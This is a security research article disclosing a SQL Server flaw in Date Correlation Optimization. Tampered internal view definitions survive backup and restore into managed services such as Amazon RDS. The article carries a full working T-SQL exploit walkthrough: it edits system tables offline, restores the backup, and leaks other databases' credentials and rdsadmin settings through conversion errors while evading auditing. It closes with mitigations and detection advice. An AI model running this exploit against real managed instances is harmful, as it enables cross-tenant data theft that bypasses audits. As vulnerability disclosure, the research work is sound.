This article is a follow-up to SQL Server DBaaS Vulnerability: Decrypting System Code & Exfiltrating User Data, in which we saw some vulnerabilities that affected pretty much all DBaaS offerings available in the cloud. Now, we’ll look at another vulnerability that once again affects every major cloud vendor.
In this article, I’ll demonstrate how SQL Server’s own internal optimization mechanisms – specifically those tied to Date Correlation Optimization (DCO) – can be manipulated to carry malicious logic across restore operations.
Back in 2009, I wrote my first two Simple Talk articles all about the feature we’ll explore today. Take a look at them to learn more about DCO, here and here.
The Vulnerability Explained: How Metadata Trust Leads to Exploits
This vulnerability involves restoring a database into a DBaaS and uses a “corrupted” internal view, effectively turning the engine’s own intelligence against itself.
The exploit is elegant in a disturbing way, since there’s no need for xp_cmdshell, CLR, or any of the usual suspects – just a carefully crafted .bak file and SQL Server’s unwavering belief in its own metadata integrity.
The payload hides where no DBA would look – system tables that are supposed to be immutable – and executes under a context that was never meant to be controllable by the user.
This is not a misconfiguration or a permission trick – it’s a design flaw rooted in how the SQL Server engine trusts its persisted metadata, and how that trust persists across the boundary between a user-managed instance and a cloud-managed environment.
Why This Design Flaw is Serious
- Confidentiality breach across database boundaries – The exploit allows sensitive rows from other databases (application or system) to be read and returned to an attacker who has no direct permissions on those databases. This is not just reading within the attacker’s database; it breaks isolation.
- Low attacker privileges required – The only privileged action the attacker need is the ability to restore a user-supplied .bak file into a SQL instance (a normal customer operation). No elevated server roles, SQL injection of live code, or OS access are required.
- Attack executes with engine-level context – The tampered DCO internal view is executed by the optimizer in a privileged engine context (
NOEXPAND/internal execution) – bypassing normal cross-database permission checks and effectively executing reads that the tenant account cannot perform directly. - Audit and detection blind spot – Reads performed by optimizer-internal queries are not attributed to the user’s batch and are frequently not recorded under
SENSITIVE_BATCH_COMPLETED_GROUPor similar audit categories. That makes forensic detection and real-time alerting unreliable or blind to this vector. - Persistence and supply-chain style delivery – The malicious logic is persisted in system metadata and survives a standard backup/restore flow. That means an attacker can prepare the payload offline (on a local instance) and deliver it to a managed environment via a legitimate restore operation.
- Wide blast radius – The exploit can leak data from other application databases and from internal databases, increasing the impact beyond a single tenant schema or table.
What’s the Root Cause of the Vulnerability?
At the heart of the issue is SQL Server’s implicit trust in its own persisted metadata, specifically, the internal objects created by the Date Correlation Optimization (DCO) feature.
When DCO is enabled, SQL Server automatically generates internal, schema-bound indexed views to optimize date correlation queries between related tables.
Those internal views are stored as text definitions inside system metadata tables (not dynamically regenerated each time the database starts). During a backup and restore, that metadata is faithfully preserved and SQL Server assumes it’s safe because the definitions are system-generated.
However, if someone tampers with those definitions offline (for example, by starting the instance in single-user mode, enabling allow updates, and directly modifying sys.sysobjvalues), the malicious view definition is embedded permanently inside the database. When the modified .bak is restored into SQL Server, the engine replays the definitions exactly as-is, without validation or regeneration.
Later, when the optimizer queries those internal DCO views as part of a normal execution plan, it executes the tampered code under engine-level privileges, not the user’s context. This bypasses permission checks and any cross-database subquery inside them can access data outside the attacker’s database.
The final twist: the exfiltration happens through type conversion errors. The malicious predicate forces the optimizer to convert XML (containing sensitive rows) to an integer. The conversion fails, and the raw XML is embedded directly in the resulting error message – an elegant, almost invisible, data leak path.
Because these reads are triggered by optimizer internals, no audit trail is associated with the attacker’s session, creating a stealthy, privilege-bypassing channel that hides in the most trusted layer of SQL Server’s execution pipeline.
The Root Cause in Technical Terms
- Date Correlation Optimization (DCO) internals:
WhenDATE_CORRELATION_OPTIMIZATIONis enabled, SQL Server automatically creates hidden, schema-bound indexed views (_MPStats_Sys_*) and supporting indexes to accelerate correlation queries. - Persisted view definitions:
The definition text of these internal views is stored in system metadata (sys.sysobjvalues.imageval).
This text survives backup/restore operations. - Tamperability in local SQL Server:
On a local SQL Server instance, an attacker with admin control can:- Start the instance in single-user mode.
- Connect via DAC and enable allow updates.
- Directly overwrite the stored definition of the internal view in
sys.sysobjvalues. - Insert a malicious predicate that references another database (e.g.,
SensitiveDataorrdsadmin).
- Trusted restore path:
When the tampered database is backed up and restored into Amazon RDS, the engine accepts the persisted definition without regenerating it. Thus, the malicious code is preserved in RDS. - Optimizer execution context:
During query compilation/execution, the SQL Server optimizer internally issues queries against these DCO views usingNOEXPAND. Because the tampered definition includes a cross-database subquery, the optimizer executes it in the engine’s internal context, bypassing normal cross-database permission checks. - Leakage via error messages (XML-to-INT Conversion Error):
The malicious view is engineered to return XML data (containing the sensitive rows) within a predicate that the optimizer expects to evaluate as an integer (e.g.,WHERE 1 = (SELECT ColXML FROM ...)). This forced type conversion failure causes the SQL Server engine to embed the raw XML string directly into the error message, providing the data exfiltration channel. When the optimizer attempts to convert a XML into INT, the engine raises a conversion error. The error text embeds the raw XML, exposing the sensitive data. - Audit bypass:
Since the sensitive read originates from an internal optimizer query (not from the user’s explicit batch), it’s not recorded bySENSITIVE_BATCH_COMPLETED_GROUP. This leaves a critical detection blind spot.
Enjoying this article? You may also be interested in:
- Exploiting SQL Server Date Correlation Optimization: How Tampered Backups Enable Cross‑Database Data Leaks
- How to Create a SQL Server Linked Server to Oracle 26ai Free
- SQL Server Regular Expression Performance and Guidelines
- How to View SQL Server Object Code Easily with sp_showcode
- SQL Server Privilege Escalation via Replication Jobs
Step-by-Step Exploit Walkthrough
What follows is a step-by-step demonstration of how this subtle metadata trust violation can turn into a full data exfiltration path, bypassing both isolation and audit mechanisms.
The steps show a repeatable, hands-on reproduction of the vulnerability from a user-supplied backup to observable data exfiltration inside Amazon RDS for SQL Server.
They list the exact sequence we used: preparing a sensitive target database and audit policy, creating a malicious DCO artifact on a local instance, backing up and restoring that database into RDS, and triggering the optimizer to execute the tampered view.
Warning: Execute these steps only in controlled test environments – do not run them against production systems or systems you don’t own.
1. Log in a RDS using SQL Server 2022:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
/* Step 1 */ /* Log in a RDS for MSSQL, any version */ /* Make sure you have enabled Audit on the RDS instance */ /* https://docs.aws.amazon.com/prescriptive-guidance/latest/sql-server-auditing-on-aws/auditing-rds-sql-instances.html */ /* Create a DB with some sensitive data */ USE master GO IF DB_ID('SensitiveData') IS NOT NULL BEGIN ALTER DATABASE SensitiveData SET SINGLE_USER WITH ROLLBACK IMMEDIATE DROP DATABASE SensitiveData END CREATE DATABASE SensitiveData GO USE SensitiveData GO DROP TABLE IF EXISTS UserInfo; GO CREATE TABLE UserInfo ([UserName] VARCHAR(200), [Password] VARCHAR(2000)); GO INSERT INTO UserInfo VALUES('Fabiano', 'This is a very strong password, I am pretty confident that no one will ever be able to crack it, let me add some special characters to make it even stronger 3323123098$#(*^^#%$%!(@#*&, all good!') GO /* Adding sensitive classification on columns UserName and Password */ DROP SENSITIVITY CLASSIFICATION FROM [UserInfo].[Password] DROP SENSITIVITY CLASSIFICATION FROM [UserInfo].[UserName] GO ADD SENSITIVITY CLASSIFICATION TO [dbo].[UserInfo].[UserName] WITH (LABEL='Confidential', LABEL_ID='331f0b13-76b5-2f1b-a77b-def5a73c73c2', INFORMATION_TYPE='Name', INFORMATION_TYPE_ID='c64aba7b-3a3e-95b6-535d-3bc535da5a59', RANK=Medium) GO ADD SENSITIVITY CLASSIFICATION TO [dbo].[UserInfo].[Password] WITH (LABEL='Highly Confidential', LABEL_ID='b82ce05b-60a9-4cf3-8a8a-d6a0bb76e903', INFORMATION_TYPE='Credentials', INFORMATION_TYPE_ID='57845286-7598-22f5-9659-15b24aeb125e', RANK=High) GO |
2. Set up audit on sensitive data:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
USE master; GO IF NOT EXISTS(SELECT * FROM sys.server_audits WHERE name = 'Audit1') CREATE SERVER AUDIT Audit1 TO FILE (MAXSIZE = 50MB, FILEPATH = 'D:\rdsdbdata\audit'); GO ALTER SERVER AUDIT Audit1 WITH (STATE = OFF); GO /* Create a database audit spec to monitor access to sensitive data and exec on st_1 */ USE SensitiveData GO IF EXISTS(SELECT * FROM sys.database_audit_specifications WHERE name = 'DbAuditSpec1') BEGIN ALTER DATABASE AUDIT SPECIFICATION DbAuditSpec1 WITH (STATE = OFF); DROP DATABASE AUDIT SPECIFICATION DbAuditSpec1 END GO CREATE DATABASE AUDIT SPECIFICATION DbAuditSpec1 FOR SERVER AUDIT Audit1 ADD (SENSITIVE_BATCH_COMPLETED_GROUP) WITH (STATE = ON); GO USE master; GO ALTER SERVER AUDIT Audit1 WITH (STATE = ON); GO |
3. Test the audit:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
/* Step 3 */ /* Test audit */ USE SensitiveData GO SELECT rds_fn_get_audit_file.file_name, rds_fn_get_audit_file.event_time, rds_fn_get_audit_file.action_id, sys.dm_audit_actions.name, rds_fn_get_audit_file.application_name, rds_fn_get_audit_file.session_server_principal_name, rds_fn_get_audit_file.database_principal_name, rds_fn_get_audit_file.database_name, rds_fn_get_audit_file.statement FROM msdb.dbo.rds_fn_get_audit_file('D:\rdsdbdata\audit\*', NULL, NULL) INNER JOIN sys.dm_audit_actions ON dm_audit_actions.action_id = rds_fn_get_audit_file.action_id; /* file_name event_time action_id name application_name session_server_principal_name database_principal_name database_name statement ----------------------------------------------------------------------------------------------- --------------------------- --------- ------------------------ ------------------------------------------------ ------------------------------ ------------------------- -------------- ----------------- D:\rdsdbdata\audit\Audit1_38F70102-EB81-442D-AB10-F5779D41393D_0_134038858034220000.sqlaudit 2025-10-02 13:36:43.4302802 AUSC AUDIT SESSION CHANGED Microsoft SQL Server Management Studio - Query admin (1 rows affected) */ /* Reading data from UserInfo table */ SELECT * FROM dbo.[UserInfo] GO /* All good, audit is working, any time someone read UserInfo table, it will be audited */ SELECT rds_fn_get_audit_file.file_name, rds_fn_get_audit_file.event_time, rds_fn_get_audit_file.action_id, sys.dm_audit_actions.name, rds_fn_get_audit_file.application_name, rds_fn_get_audit_file.session_server_principal_name, rds_fn_get_audit_file.database_principal_name, rds_fn_get_audit_file.database_name, rds_fn_get_audit_file.statement FROM msdb.dbo.rds_fn_get_audit_file('D:\rdsdbdata\audit\*', NULL, NULL) INNER JOIN sys.dm_audit_actions ON dm_audit_actions.action_id = rds_fn_get_audit_file.action_id; GO /* file_name event_time action_id name application_name session_server_principal_name database_principal_name database_name statement ----------------------------------------------------------------------------------------------- --------------------------- --------- -------------------------- ----------------------------------------------- ------------------------------ ------------------------ --------------- ----------------- D:\rdsdbdata\audit\Audit1_38F70102-EB81-442D-AB10-F5779D41393D_0_134038858034220000.sqlaudit 2025-10-02 13:36:43.4302802 AUSC AUDIT SESSION CHANGED Microsoft SQL Server Management Studio - Query admin D:\rdsdbdata\audit\Audit1_38F70102-EB81-442D-AB10-F5779D41393D_0_134038861044710000.sqlaudit 2025-10-02 13:48:05.2839480 SBC SENSITIVE BATCH COMPLETED Microsoft SQL Server Management Studio - Query admin dbo SensitiveData /* Reading data from UserInfo table */ SELECT * FROM dbo.[UserInfo] (2 rows affected) */ |
4. Create a database to be restored on RDS in a local SQL Server instance:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 |
/* Step 4 */ /* In a local MSSQL instance, create a special database to be restored on RDS */ /* I'm running this on my local MSSQL 2022 instance */ USE master GO IF DB_ID('Sword_of_Omens') IS NOT NULL BEGIN ALTER DATABASE Sword_of_Omens SET SINGLE_USER WITH ROLLBACK IMMEDIATE DROP DATABASE Sword_of_Omens END CREATE DATABASE Sword_of_Omens GO USE Sword_of_Omens GO /* Creating a couple of tables that are necessary for date correlation optimization */ DROP TABLE IF EXISTS Lion DROP TABLE IF EXISTS Panthro GO CREATE TABLE Lion(RowID INTEGER IDENTITY(1,1), ColDt DATETIME NOT NULL, PRIMARY KEY (RowID)) GO CREATE TABLE Panthro(RowID INTEGER, ColDt DATETIME NOT NULL, PRIMARY KEY NONCLUSTERED(RowID, ColDt)) GO /* At least one of the DATETIME columns, must belong to a cluster index */ CREATE CLUSTERED INDEX ixPanthro ON Panthro(ColDt) GO /* There must to be a foreign key relationship between the tables that contain correlation date */ ALTER TABLE Panthro ADD CONSTRAINT fkPanthro_Lion FOREIGN KEY(RowID) REFERENCES Lion(RowID) GO /* Inserting some data on tables */ INSERT INTO Lion(ColDt) SELECT TOP 1000 GETDATE() - ABS(CheckSum(NEWID()) / 10000000) FROM sysobjects a, sysobjects b, sysobjects c GO INSERT INTO Panthro(RowID, ColDt) SELECT TOP 10 ABS(CheckSum(NEWID()) / 1000000000) + 1, GETDATE() - ABS(CheckSum(NEWID()) / 1000000) FROM Lion a, Lion b GO CREATE INDEX ixDt ON Lion(ColDt) GO /* Enable DATE_CORRELATION_OPTIMIZATION will trigger the internal create view and create index commands */ ALTER DATABASE Sword_of_Omens SET DATE_CORRELATION_OPTIMIZATION ON; GO /* -- Internal commands triggered by MSSQL to create indexed view CREATE VIEW [dbo].[_MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion] WITH SCHEMABINDING AS SELECT DATEDIFF(day, convert(datetime2, '1900-01-01', 121), LEFT_T.[ColDt])/30 as ParentPID, DATEDIFF(day, convert(datetime2, '1900-01-01', 121), RIGHT_T.[ColDt])/30 as ChildPID, COUNT_BIG(*) AS C FROM [dbo].[Lion] AS LEFT_T JOIN [dbo].[Panthro] AS RIGHT_T ON LEFT_T.[RowID] = RIGHT_T.[RowID] GROUP BY DATEDIFF(day, convert(datetime2, '1900-01-01', 121), LEFT_T.[ColDt])/30, DATEDIFF(day, convert(datetime2, '1900-01-01', 121), RIGHT_T.[ColDt])/30 GO CREATE UNIQUE CLUSTERED INDEX [i__MPStats_Sys_fkPanthro_Lion_3d5e1fd2] ON [dbo].[_MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion](ParentPID,ChildPID) GO */ /* Running a query that will use date correlation optimization feature */ SELECT * FROM Lion INNER JOIN Panthro ON Panthro.RowID = Lion.RowID WHERE Lion.ColDt BETWEEN '20250624' AND '20250625' OPTION (RECOMPILE) GO /* -- Internal command used by query optimizer to get values to use on filter SELECT DISTINCT [ChildPID], [ChildPID] FROM [Sword_of_Omens].[dbo].[_MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion] AS [Tbl1006] WITH (NOEXPAND) WHERE [Tbl1006].[ParentPID] >= datediff( day, CONVERT(datetime, '1900-01-01 00:00:00.000', 121), CONVERT(datetime, '2025-06-24 00:00:00.000', 121)) / (30) AND [Tbl1006].[ParentPID] <= datediff( day, CONVERT(datetime, '1900-01-01 00:00:00.000', 121), CONVERT(datetime, '2025-06-25 00:00:00.000', 121)) / (30) */ /* Checking the internal view name */ SELECT object_id, name, is_date_correlation_view FROM Sword_of_Omens.sys.views GO /* object_id name is_date_correlation_view ----------- ------------------------------------------------------------------------------ ------------------------ 1045578763 _MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion 1 */ /* Stop the instance -- net stop "SQL Server (SQL2022)" */ /* Start has single user -- net start "SQL Server (SQL2022)" /m"TestSQLFabiano" */ /* Make sure you are adjusting SSMS additional connection parameters to add the app name (Application Name=TestSQLFabiano) and connect as DAC */ /* Enable allow updates config */ USE master GO sp_configure 'allow updates',1 GO RECONFIGURE WITH OVERRIDE GO /* This need to be executed with SQL on single user and from a DAC connection */ /* Update view code to add a special where clause */ USE Sword_of_Omens GO DECLARE @NewCode VARCHAR(MAX) SET @NewCode = 'CREATE VIEW [dbo].[_MPStats_Sys_3D5E1FD2_{53B0AD44-6AF0-4DD3-BADF-913F931DBE81}_fkPanthro_Lion] WITH SCHEMABINDING AS SELECT DATEDIFF(day, convert(datetime2, ''1900-01-01'', 121), LEFT_T.[ColDt])/30 as ParentPID, DATEDIFF(day, convert(datetime2, ''1900-01-01'', 121), RIGHT_T.[ColDt])/30 as ChildPID, COUNT_BIG(*) AS C FROM [dbo].[Lion] AS LEFT_T JOIN [dbo].[Panthro] AS RIGHT_T ON LEFT_T.[RowID] = RIGHT_T.[RowID] WHERE 1 = (SELECT ColXML FROM [dbo].[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!]) GROUP BY DATEDIFF(day, convert(datetime2, ''1900-01-01'', 121), LEFT_T.[ColDt])/30, DATEDIFF(day, convert(datetime2, ''1900-01-01'', 121), RIGHT_T.[ColDt])/30' UPDATE sys.sysobjvalues SET imageval = CONVERT(VARBINARY(MAX), @NewCode) WHERE objid = (SELECT object_id FROM sys.views WHERE is_date_correlation_view = 1) AND value = 2 /* Warning: System table ID 60 has been updated directly in database ID 8 and cache coherence may not have been maintained. SQL Server should be restarted. (1 row affected) */ GO CHECKPOINT GO /* Stop the instance -- net stop "SQL Server (SQL2022)" */ /* Start the instance -- net start "SQL Server (SQL2022)" */ /* Reconnect on SQL using a non-dac connection */ /* Backup the DB, we'll restore this on AWS RDS */ /* EXEC xp_cmdshell 'del /Q C:\Temp\Backup\Sword_of_Omens.bak' GO */ -- Backup DB BACKUP DATABASE Sword_of_Omens TO DISK = N'C:\Temp\Backup\Sword_of_Omens.bak' WITH NAME = N'Sword_of_Omens-Full Database Backup' GO |
5. Restore Sword_of_Omens.bak on the RDS instance:
|
1 2 3 |
/* Step 5 */ /* Restore Sword_of_Omens.bak on RDS instance */ /* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/SQLServer.Procedural.Importing.Native.Using.html */ |
6. Back on RDS and with Sword_of_Omens already restored, create a low-privilege login:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
/* Step 6 */ /* Back on RDS and with Sword_of_Omens already restored */ /* Create a login for Sword_of_Omens and only give it access to DB Sword_of_Omens */ USE master GO CREATE LOGIN AppLogin WITH PASSWORD=N'102030', CHECK_POLICY=OFF GO /* Create a user for AppLogin on DB Sword_of_Omens and give it db_owner on the DB */ USE Sword_of_Omens GO CREATE USER AppLogin FOR LOGIN AppLogin; ALTER ROLE [db_owner] ADD MEMBER AppLogin; GO |
7. Open a new session and log as AppLogin:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
/* Step 7 */ /* Open a new session and Log as AppLogin */ USE Sword_of_Omens GO /* Try to read data from SensitiveData DB */ SELECT UserName, Password FROM SensitiveData.dbo.UserInfo GO /* Msg 916, Level 14, State 2, Line 3 The server principal "AppLogin" is not able to access the database "SensitiveData" under the current security context. */ /* Let's create our special view to be executed internally by MSSQL */ DROP VIEW IF EXISTS dbo.[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!] GO CREATE VIEW dbo.[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!] AS SELECT ( SELECT UserName, Password FROM SensitiveData.dbo.UserInfo FOR XML AUTO, BINARY BASE64 ) AS ColXML GO -- As expected, same error as before, AppLogin doesn't have access to SensitiveData DB SELECT * FROM [Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!] GO /* Msg 916, Level 14, State 2, Line 23 The server principal "AppLogin" is not able to access the database "SensitiveData" under the current security context. */ /* Call out for Sword of Omens to get sight beyond sight! */ INSERT INTO Panthro(RowID, ColDt) VALUES (1, GETDATE() - ABS(CheckSum(NEWID()) / 10000000)) GO /* Leaked data */ /* Msg 245, Level 16, State 1, Line 35 Conversion failed when converting the nvarchar value '<SensitiveData.dbo.UserInfo UserName="Fabiano" Password="This is a very strong password, I am pretty confident that no one will ever be able to crack it, let me add some special characters to make it even stronger 3323123098$#(*^^#%$%!(@#*&, all good!"/>' to data type int. */ /* I should not have access to this... */ /* Did audit had this access on audit ? */ /* You'll need to run this with admin to be able to have access to rds_fn_get_audit_file */ /* Nope, as we can see... */ SELECT rds_fn_get_audit_file.file_name, rds_fn_get_audit_file.event_time, rds_fn_get_audit_file.action_id, sys.dm_audit_actions.name, rds_fn_get_audit_file.application_name, rds_fn_get_audit_file.session_server_principal_name, rds_fn_get_audit_file.database_principal_name, rds_fn_get_audit_file.database_name, rds_fn_get_audit_file.statement FROM msdb.dbo.rds_fn_get_audit_file('D:\rdsdbdata\audit\*', NULL, NULL) INNER JOIN sys.dm_audit_actions ON dm_audit_actions.action_id = rds_fn_get_audit_file.action_id; GO /* Can I use this to access stuff from rdsadmin ? */ /* Sure */ /* Let's create our special view to be executed internally by MSSQL */ DROP VIEW IF EXISTS dbo.[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!] GO CREATE VIEW dbo.[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!] AS SELECT ( SELECT name, value FROM rdsadmin.dbo.rds_configuration FOR XML AUTO, BINARY BASE64 ) AS ColXML GO /* Call out for Sword of Omens to get sight beyond sight! */ INSERT INTO Panthro(RowID, ColDt) VALUES (1, GETDATE() - ABS(CheckSum(NEWID()) / 10000000)) GO /* Leaked data */ /* Msg 245, Level 16, State 1, Line 78 Conversion failed when converting the nvarchar value '<rdsadmin.dbo.rds_configuration name=.../>' to data type int. */ |
Although this write-up uses Amazon RDS for SQL Server as the worked example, the underlying flaw is platform-agnostic. Any managed service that accepts customer backups and restores them, whether AWS RDS, Google Cloud SQL, Alibaba ApsaraDB, or a private managed offering, inherits that risk.
Final Thoughts
The vulnerability presented here exposes how even mature, enterprise-grade cloud services for SQL Server can contain critical architectural oversights that allow full privilege escalation within managed environments.
While cloud vendors have typically demonstrated strong security practices, the existence of such sophisticated vulnerabilities emphasizes the need for continuous security assessment, relentless vigilance in security architecture design, robust anomaly detection mechanisms, the rigorous testing of safeguards against complex privilege escalation scenarios, and immediate remediation procedures.
I’ve reported the vulnerability to Microsoft, who assessed it as low-severity – meaning they probably won’t work on it in the near future. Until a vendor-level remediation is applied, all SQL Server users must understand the risks of restoring a database from an untrusted source.
FAQs: SQL Server Date Correlation Optimization (DCO) Exploit
1. What is Date Correlation Optimization (DCO) in SQL Server?
DCO is a SQL Server feature that creates hidden, schema‑bound indexed views to speed up date correlation queries between related tables.
2. What’s the core vulnerability discussed here?
A low‑privileged tenant can restore a specially crafted .bak where the internal DCO view definition was tampered, causing the optimizer to execute malicious cross‑database logic during normal queries and leak data via error messages.
3. Who is impacted by this issue?
Any SQL Server environment—especially DBaaS/managed services—that accepts customer backups (e.g., RDS for SQL Server and similar offerings) can be affected.
4. How does the attack work in practice?
The attacker embeds a malicious predicate in the internal DCO view; when the optimizer probes that view (NOEXPAND), it runs the cross‑database subquery under engine‑level context, and sensitive data can surface in conversion error messages.
5. Does this bypass database permissions and auditing?
Yes. The execution happens as an optimizer‑internal query, which can bypass normal cross‑database checks and often won’t appear under typical sensitive batch audit categories.
6. What data could be exposed?
Rows from other user databases and, in some cases, internal/managed databases if referenced by the tampered view.
7. Is this a misconfiguration or a design issue with SQL Server?
It’s a design flaw stemming from SQL Server’s trust in persisted metadata for internal objects (like DCO views) that survive backup/restore.
8. Which versions of SQL Server are affected?
The technique targets how DCO’s internal objects are persisted and trusted; the demo uses SQL Server 2022, but the risk relates to the DCO mechanism and restore path, not one specific version.
9. What are practical mitigations right now?
- Never restore untrusted backups into shared or managed instances.
- Disable or restrict DCO where it’s not needed, and rebuild internal stats/objects after restore when feasible.
- Harden restore workflows (quarantine/validation steps, re‑creation of internal objects, post‑restore integrity checks).
- Tighten auditing/monitoring to flag unusual optimizer errors (e.g., XML→INT conversion) and unexpected cross‑DB access patterns.
10. How can I detect signs of this attack?
Look for unexpected conversion errors containing XML payloads, optimizer‑internal accesses to hidden DCO views, and unexplained cross‑database reads not tied to a user batch.
Load comments